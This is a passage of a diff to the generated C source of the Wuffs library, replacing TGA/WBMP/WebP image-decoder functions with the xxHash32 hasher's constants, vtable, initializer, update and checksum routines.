tga.decoder.workbuf_len -+// -------- func webp.decoder.workbuf_len - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_tga__decoder__workbuf_len( -- const wuffs_tga__decoder* self) { -+wuffs_webp__decoder__workbuf_len( -+ const wuffs_webp__decoder* self) { - if (!self) { - return wuffs_base__utility__empty_range_ii_u64(); - } -@@ -60446,92 +75472,66 @@ wuffs_tga__decoder__workbuf_len( - return wuffs_base__utility__empty_range_ii_u64(); - } - -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ return wuffs_base__utility__make_range_ii_u64(((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u])), ((uint64_t)(self->private_impl.f_workbuf_offset_for_transform[3u]))); - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__XXHASH32) - - // ---------------- Status Codes Implementations - --const char wuffs_wbmp__error__bad_header[] = "#wbmp: bad header"; --const char wuffs_wbmp__error__truncated_input[] = "#wbmp: truncated input"; -- - // ---------------- Private Consts - --// ---------------- Private Initializer Prototypes -+#define WUFFS_XXHASH32__XXH_PRIME32_1 2654435761u - --// ---------------- Private Function Prototypes -+#define WUFFS_XXHASH32__XXH_PRIME32_2 2246822519u - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_image_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -+#define WUFFS_XXHASH32__XXH_PRIME32_3 3266489917u - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_frame_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -+#define WUFFS_XXHASH32__XXH_PRIME32_4 668265263u -+ -+#define WUFFS_XXHASH32__XXH_PRIME32_5 374761393u -+ -+#define WUFFS_XXHASH32__INITIAL_V0 606290984u -+ -+#define WUFFS_XXHASH32__INITIAL_V1 2246822519u -+ -+#define WUFFS_XXHASH32__INITIAL_V2 0u -+ -+#define WUFFS_XXHASH32__INITIAL_V3 1640531535u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_frame( -- wuffs_wbmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+static wuffs_base__empty_struct -+wuffs_xxhash32__hasher__up( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x); - - // ---------------- VTables - --const wuffs_base__image_decoder__func_ptrs --wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_wbmp__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_wbmp__decoder__frame_dirty_rect), -+const wuffs_base__hasher_u32__func_ptrs -+wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32 = { -+ (uint32_t(*)(const void*))(&wuffs_xxhash32__hasher__checksum_u32), - (uint64_t(*)(const void*, -- uint32_t))(&wuffs_wbmp__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_wbmp__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_wbmp__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_wbmp__decoder__restart_frame), -+ uint32_t))(&wuffs_xxhash32__hasher__get_quirk), - (wuffs_base__status(*)(void*, - uint32_t, -- uint64_t))(&wuffs_wbmp__decoder__set_quirk), -+ uint64_t))(&wuffs_xxhash32__hasher__set_quirk), - (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_wbmp__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_wbmp__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_wbmp__decoder__workbuf_len), -+ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update), -+ (uint32_t(*)(void*, -+ wuffs_base__slice_u8))(&wuffs_xxhash32__hasher__update_u32), - }; - - // ---------------- Initializer Implementations - - wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_wbmp__decoder__initialize( -- wuffs_wbmp__decoder* self, -+wuffs_xxhash32__hasher__initialize( -+ wuffs_xxhash32__hasher* self, - size_t sizeof_star_self, - uint64_t wuffs_version, - uint32_t options){ -@@ -60569,22 +75569,22 @@ wuffs_wbmp__decoder__initialize( - } - - self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_wbmp__decoder__func_ptrs_for__wuffs_base__image_decoder); -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.vtable_name = -+ wuffs_base__hasher_u32__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__hasher_u32.function_pointers = -+ (const void*)(&wuffs_xxhash32__hasher__func_ptrs_for__wuffs_base__hasher_u32); - return wuffs_base__make_status(NULL); - } - --wuffs_wbmp__decoder* --wuffs_wbmp__decoder__alloc(void) { -- wuffs_wbmp__decoder* x = -- (wuffs_wbmp__decoder*)(calloc(sizeof(wuffs_wbmp__decoder), 1)); -+wuffs_xxhash32__hasher* -+wuffs_xxhash32__hasher__alloc(void) { -+ wuffs_xxhash32__hasher* x = -+ (wuffs_xxhash32__hasher*)(calloc(1, sizeof(wuffs_xxhash32__hasher))); - if (!x) { - return NULL; - } -- if (wuffs_wbmp__decoder__initialize( -- x, sizeof(wuffs_wbmp__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ if (wuffs_xxhash32__hasher__initialize( -+ x, sizeof(wuffs_xxhash32__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { - free(x); - return NULL; - } -@@ -60592,18 +75592,18 @@ wuffs_wbmp__decoder__alloc(void) { - } - - size_t --sizeof__wuffs_wbmp__decoder(void) { -- return sizeof(wuffs_wbmp__decoder); -+sizeof__wuffs_xxhash32__hasher(void) { -+ return sizeof(wuffs_xxhash32__hasher); - } - - // ---------------- Function Implementations - --// -------- func wbmp.decoder.get_quirk -+// -------- func xxhash32.hasher.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_wbmp__decoder__get_quirk( -- const wuffs_wbmp__decoder* self, -+wuffs_xxhash32__hasher__get_quirk( -+ const wuffs_xxhash32__hasher* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -60616,12 +75616,12 @@ wuffs_wbmp__decoder__get_quirk( - return 0u; - } - --// -------- func wbmp.decoder.set_quirk -+// -------- func xxhash32.hasher.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__set_quirk( -- wuffs_wbmp__decoder* self, -+wuffs_xxhash32__hasher__set_quirk( -+ wuffs_xxhash32__hasher* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -60637,627 +75637,387 @@ wuffs_wbmp__decoder__set_quirk( - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func wbmp.decoder.decode_image_config -+// -------- func xxhash32.hasher.update - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_image_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_xxhash32__hasher__update( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return wuffs_base__make_empty_struct(); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -- -- ok: -- self->private_impl.p_decode_image_config[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_empty_struct(); - } -- return status; --} -- --// -------- func wbmp.decoder.do_decode_image_config -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_image_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint8_t v_c = 0; -- uint32_t v_i = 0; -- uint32_t v_p = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -+ wuffs_base__slice_u8 v_remaining = {0}; - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -- if (coro_susp_point) { -- v_i = self->private_data.s_do_decode_image_config[0].v_i; -- v_p = self->private_data.s_do_decode_image_config[0].v_p; -+ if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { -+ self->private_impl.f_v0 = 606290984u; -+ self->private_impl.f_v1 = 2246822519u; -+ self->private_impl.f_v2 = 0u; -+ self->private_impl.f_v3 = 1640531535u; - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } -- v_i = 0u; -- while (v_i < 2u) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_c = t_0; -- } -- if (v_c != 0u) { -- status = wuffs_base__make_status(wuffs_wbmp__error__bad_header); -- goto exit; -- } -- v_i += 1u; -- } -- v_i = 0u; -- while (v_i < 2u) { -- v_p = 0u; -- while (true) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_c = t_1; -- } -- v_p |= ((uint32_t)((v_c & 127u))); -- if ((v_c >> 7u) == 0u) { -- break; -- } else if (v_p > 131071u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -- } -- v_p <<= 7u; -- } -- if (v_i == 0u) { -- self->private_impl.f_width = v_p; -- } else { -- self->private_impl.f_height = v_p; -- } -- v_i += 1u; -- } -- self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- 2198077448u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- self->private_impl.f_frame_config_io_position, -- true); -+ while (((uint64_t)(a_x.len)) > 0u) { -+ v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -+ if (((uint64_t)(a_x.len)) > 16777216u) { -+ v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); -+ a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); - } -- self->private_impl.f_call_sequence = 32u; -- -- goto ok; -- ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_image_config[0].v_i = v_i; -- self->private_data.s_do_decode_image_config[0].v_p = v_p; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ wuffs_xxhash32__hasher__up(self, a_x); -+ a_x = v_remaining; - } -- -- return status; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func wbmp.decoder.decode_frame_config -+// -------- func xxhash32.hasher.update_u32 - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_frame_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_xxhash32__hasher__update_u32( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return 0; - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 2)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -- -- ok: -- self->private_impl.p_decode_frame_config[0] = 0; -- goto exit; -+ return 0; - } - -- goto suspend; -- suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -- -- goto exit; -- exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; -+ wuffs_xxhash32__hasher__update(self, a_x); -+ return wuffs_xxhash32__hasher__checksum_u32(self); - } - --// -------- func wbmp.decoder.do_decode_frame_config -+// -------- func xxhash32.hasher.up - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_wbmp__decoder__do_decode_frame_config( -- wuffs_wbmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+static wuffs_base__empty_struct -+wuffs_xxhash32__hasher__up( -+ wuffs_xxhash32__hasher* self, -+ wuffs_base__slice_u8 a_x) { -+ uint32_t v_new_lmu = 0; -+ uint32_t v_buf_u32 = 0; -+ uint32_t v_buf_len = 0; -+ uint32_t v_v0 = 0; -+ uint32_t v_v1 = 0; -+ uint32_t v_v2 = 0; -+ uint32_t v_v3 = 0; -+ wuffs_base__slice_u8 v_p = {0}; - -- if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_wbmp__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -- } -- } else if (self->private_impl.f_call_sequence == 64u) { -- self->private_impl.f_call_sequence = 96u; -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); -+ self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); -+ self->private_impl.f_length_modulo_u32 = v_new_lmu; -+ while (true) { -+ if (self->private_impl.f_buf_len >= 16u) { -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); -+ v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); -+ self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); -+ v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); -+ self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); -+ v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); -+ self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | -+ (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | -+ (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | -+ (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); -+ v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); -+ self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); -+ self->private_impl.f_buf_len = 0u; -+ break; - } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- 0u, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height), -- ((wuffs_base__flicks)(0u)), -- 0u, -- self->private_impl.f_frame_config_io_position, -- 0u, -- true, -- false, -- 4278190080u); -+ if (((uint64_t)(a_x.len)) <= 0u) { -+ return wuffs_base__make_empty_struct(); - } -- self->private_impl.f_call_sequence = 64u; -- -- ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -- goto exit; -+ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ self->private_impl.f_buf_len += 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); - } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ v_buf_len = ((uint32_t)(((uint8_t)(self->private_impl.f_buf_len & 15u)))); -+ v_v0 = self->private_impl.f_v0; -+ v_v1 = self->private_impl.f_v1; -+ v_v2 = self->private_impl.f_v2; -+ v_v3 = self->private_impl.f_v3; -+ { -+ wuffs_base__slice_u8 i_slice_p = a_x; -+ v_p.ptr = i_slice_p.ptr; -+ v_p.len = 16; -+ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 16) * 16)); -+ while (v_p.ptr < i_end0_p) { -+ v_buf_u32 = (((uint32_t)(v_p.ptr[0u])) | -+ (((uint32_t)(v_p.ptr[1u])) << 8u) | -+ (((uint32_t)(v_p.ptr[2u])) << 16u) | -+ (((uint32_t)(v_p.ptr[3u])) << 24u)); -+ v_v0 = ((uint32_t)(v_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); -+ v_v0 = ((uint32_t)(v_v0 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(v_p.ptr[4u])) | -+ (((uint32_t)(v_p.ptr[5u])) << 8u) | -+ (((uint32_t)(v_p.ptr[6u])) << 16u) | -+ (((uint32_t)(v_p.ptr[7u])) << 24u)); -+ v_v1 = ((uint32_t)(v_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); -+ v_v1 = ((uint32_t)(v_v1 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(v_p.ptr[8u])) | -+ (((uint32_t)(v_p.ptr[9u])) << 8u) | -+ (((uint32_t)(v_p.ptr[10u])) << 16u) | -+ (((uint32_t)(v_p.ptr[11u])) << 24u)); -+ v_v2 = ((uint32_t)(v_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); -+ v_v2 = ((uint32_t)(v_v2 * 2654435761u)); -+ v_buf_u32 = (((uint32_t)(v_p.ptr[12u])) | -+ (((uint32_t)(v_p.ptr[13u])) << 8u) | -+ (((uint32_t)(v_p.ptr[14u])) << 16u) | -+ (((uint32_t)(v_p.ptr[15u])) << 24u)); -+ v_v3 = ((uint32_t)(v_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -+ v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); -+ v_v3 = ((uint32_t)(v_v3 * 2654435761u)); -+ v_p.ptr += 16; -+ } -+ v_p.len = 1; -+ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); -+ while (v_p.ptr < i_end1_p) { -+ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; -+ v_buf_len = ((v_buf_len + 1u) & 15u); -+ v_p.ptr += 1; -+ } -+ v_p.len = 0; - } -- -- return status; -+ self->private_impl.f_buf_len = ((uint8_t)(v_buf_len)); -+ self->private_impl.f_v0 = v_v0; -+ self->private_impl.f_v1 = v_v1; -+ self->private_impl.f_v2 = v_v2; -+ self->private_impl.f_v3 = v_v3; -+ return wuffs_base__make_empty_struct(); - } - --// -------- func wbmp.decoder.decode_frame -+// -------- func xxhash32.hasher.checksum_u32 - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_wbmp__decoder__decode_frame( -- wuffs_wbmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_xxhash32__hasher__checksum_u32( -+ const wuffs_xxhash32__hasher* self) { - if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ return 0; - } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ uint32_t v_ret = 0; -+ uint32_t v_i = 0; -+ uint32_t v_n = 0; -+ uint32_t v_buf_u32 = 0; -+ -+ if ((self->private_impl.f_length_modulo_u32 >= 16u) || self->private_impl.f_length_overflows_u32) { -+ v_ret += (((uint32_t)(self->private_impl.f_v0 << 1u)) | (self->private_impl.f_v0 >> 31u)); -+ v_ret += (((uint32_t)(self->private_impl.f_v1 << 7u)) | (self->private_impl.f_v1 >> 25u)); -+ v_ret += (((uint32_t)(self->private_impl.f_v2 << 12u)) | (self->private_impl.f_v2 >> 20u)); -+ v_ret += (((uint32_t)(self->private_impl.f_v3 << 18u)) | (self->private_impl.f_v3 >> 14u)); -+ v_ret += self->private_impl.f_length_modulo_u32; -+ } else { -+ v_ret += 374761393u; -+ v_ret += self->private_impl.f_length_modulo_u32; -+ } -+ v_n = 16u; -+ v_n = wuffs_base__u32__min(v_n, ((uint32_t)(self->private_impl.f_buf_len))); 